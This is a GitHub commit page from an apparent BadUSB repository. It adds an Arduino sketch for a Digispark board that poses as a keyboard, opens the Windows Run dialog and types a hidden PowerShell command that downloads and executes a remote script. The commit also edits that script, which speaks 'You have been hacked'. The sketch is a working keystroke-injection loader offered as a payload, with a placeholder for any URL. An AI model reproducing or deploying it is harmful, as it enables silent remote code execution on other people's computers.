Skip to content

Commit

Permalink
added script_runner_win.ino
Browse files Browse the repository at this point in the history
  • Loading branch information
msr8 committed Oct 3, 2022
1 parent c1d9214 commit 6c917ec
Show file tree
Hide file tree
Showing 2 changed files with 30 additions and 2 deletions.
28 changes: 28 additions & 0 deletions Payloads/Script Runner/script_runner_win.ino
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
#include "DigiKeyboard.h"

void setup() {
// empty
}

void loop() {
// Initialise digispark
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(600);

// Opens the run dialog
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(600);

// Writes the command
DigiKeyboard.print("powershell -w h ");
DigiKeyboard.print("iex (irm \"");
DigiKeyboard.print("https://raw.githubusercontent.com/msr8/attiny85/main/Shell%20Scripts/powershell/speak.ps1"); // LINK HERE
DigiKeyboard.print("\")");
// Enters it
DigiKeyboard.sendKeyStroke(KEY_ENTER);



for (;;) {/* Stops the loop */}
}

4 changes: 2 additions & 2 deletions Shell Scripts/powershell/speak.ps1
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
Add-Type -AssemblyName System.speech
$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer
$speak.Speak("You have been hacked. Please wave for the camera")
$s = New-Object System.Speech.Synthesis.SpeechSynthesizer
$s.Speak("You have been hacked. Please wave for the camera")

0 comments on commit 6c917ec

Please sign in to comment.